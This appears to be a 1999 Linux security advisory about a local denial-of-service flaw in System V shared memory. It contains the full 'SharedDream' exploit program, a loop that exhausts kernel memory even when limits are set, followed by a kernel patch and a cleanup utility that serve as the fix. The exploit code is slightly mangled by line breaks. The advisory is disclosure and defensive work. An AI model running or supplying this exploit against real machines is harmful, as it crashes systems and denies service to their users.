COMMAND
IPC (shared memory)
SYSTEMS AFFECTED
Linux (others too?)
PROBLEM
Following was found by KKI Security Team and the problem was found
Robert Pajak. Using attached program one can DoS machine even
when limits are set up... This is due to fact that shared memory
segments can exist without beeing bind with processes. Code
follows:
/* SharedDream - (c) Shadow, KKI Security */
/* */
/* I'm not responsible for any damaged done by this proggie... */
/* It should be used only for education... */
/* To protect - use brain, Solar's patches, or whatever... */
/* This problem is because shared memory segments can exist even */
/* if they are not combined with programs! */
/* !This program will crash your machine (localy) at kernels 2.x! */
/* If you are on kernels 2.2.x with limits run it twice :) */
/* really - even when rescource limits are set! :) */
/* Probably original idea by lcamtuf */
/* heck you should told me that you found it */
/* first ;) */
/* heh - worm greetings for for Coding Style ;) */
#include <stdio.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#define BOLD "\033[00;04m"
#define BLUE "\033[00;36m"
#define STAN "\033[00;00m"
void main(void)
{
char *p;
int i = 10000000;
printf("\n\n");
printf(BOLD "*)" BLUE " SharedDream"STAN" - shared memory segments
abuser\n");
printf(BOLD "*)\n" STAN);
printf(BOLD "*)" STAN " (c) 1999" BOLD " Shadow " STAN "(" BOLD
"shadow@security.kki.pl" STAN ")\n");
printf(BOLD "*)" STAN " greetz to " BOLD " vision (yo remember me),
lcamtuf, kodzak, #??? ppl, Lam3rz, daworm, Trolinka, viedzmin other folks i
forgot to mention\n" STAN);
printf(BOLD "*)" STAN " Now it will eat up your memory even if it seems to
be limited\n");
printf(BOLD "*)" STAN " Starting...");
fflush(stdout);
while (1)
if (p = shmat(shmget(0, i, 0777), 0, 0))
memset( p,'\0',i); // need to touch
memory somehow
printf(".DoW.");
fflush(stdout);
}
else {
i--;
}
}
exit(0);
}
SOLUTION
To protect yourself, you should disable this operations, or use
Solar Designer's stack patch with limits set, etc... Alan Cox
has been notified...
Attached is a trivial Linux-2.2.12 patch wich adds add a procfs
entry for tuning the limit of shared memory allocable.
/proc/sys/kernel/shmmax Max number of shared memory pages
Attached is also a small hack for freeing unreferenced shared
memory pages and printing interesting details of available shared
memory segments (such as who created the segment, and when).
ipc_limit.patch
===============
--- linux/ipc/shm.c.orig Wed Sep 15 00:44:11 1999
+++ linux/ipc/shm.c Wed Sep 15 00:44:36 1999
@@ -68,6 +68,8 @@
return -1;
}
+int shmall = SHMALL;
+
/*
* allocate new shmid_kernel and pgtable. protected by shm_segs[id] = NOID.
*/
@@ -79,7 +81,7 @@
if (size < SHMMIN)
return -EINVAL;
- if (shm_tot + numpages >= SHMALL)
+ if (shm_tot + numpages >= shmall)
return -ENOSPC;
for (id = 0; id < SHMMNI; id++)
if (shm_segs[id] == IPC_UNUSED) {
@@ -233,7 +235,7 @@
shminfo.shmmni = SHMMNI;
shminfo.shmmax = shmmax;
shminfo.shmmin = SHMMIN;
- shminfo.shmall = SHMALL;
+ shminfo.shmall = shmall;
shminfo.shmseg = SHMSEG;
if(copy_to_user (buf, &shminfo, sizeof(struct shminfo)))
goto out;
--- linux/kernel/sysctl.c.orig Mon Aug 9 21:05:13 1999
+++ linux/kernel/sysctl.c Wed Sep 15 00:41:19 1999
@@ -47,6 +47,7 @@
#endif
#ifdef CONFIG_SYSVIPC
extern int shmmax;
+extern int shmall;
#endif
#ifdef __sparc__
@@ -213,6 +214,8 @@
0644, NULL, &proc_dointvec},
#ifdef CONFIG_SYSVIPC
{KERN_SHMMAX, "shmmax", &shmmax, sizeof (int),
+ 0644, NULL, &proc_dointvec},
+ {KERN_SHMMAX, "shmall", &shmall, sizeof (int),
0644, NULL, &proc_dointvec},
#endif
#ifdef CONFIG_MAGIC_SYSRQ
free_shmem.c
============
#include <stdio.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <time.h>
int main(void)
{
int i, id;
struct shminfo shmi;
struct shmid_ds sds;
shmctl(0, IPC_INFO, (void *)&shmi);
for(i=0; i<shmi.shmmni;i++) {
if ((id = shmctl(i, SHM_STAT, &sds)) >= 0) {
printf("SHM %d: size=%d cuid=%d cgid=%d cpid=%d lpid=%d uses=%d created %s",
id, sds.shm_segsz, sds.shm_perm.cuid, sds.shm_perm.cgid,
sds.shm_cpid, sds.shm_lpid, sds.shm_nattch,
ctime(&sds.shm_ctime));
if (sds.shm_nattch == 0) {
shmctl(id, IPC_RMID, NULL);
printf("SHM segment %d freed\n", id);
}
}
}
return 0;
}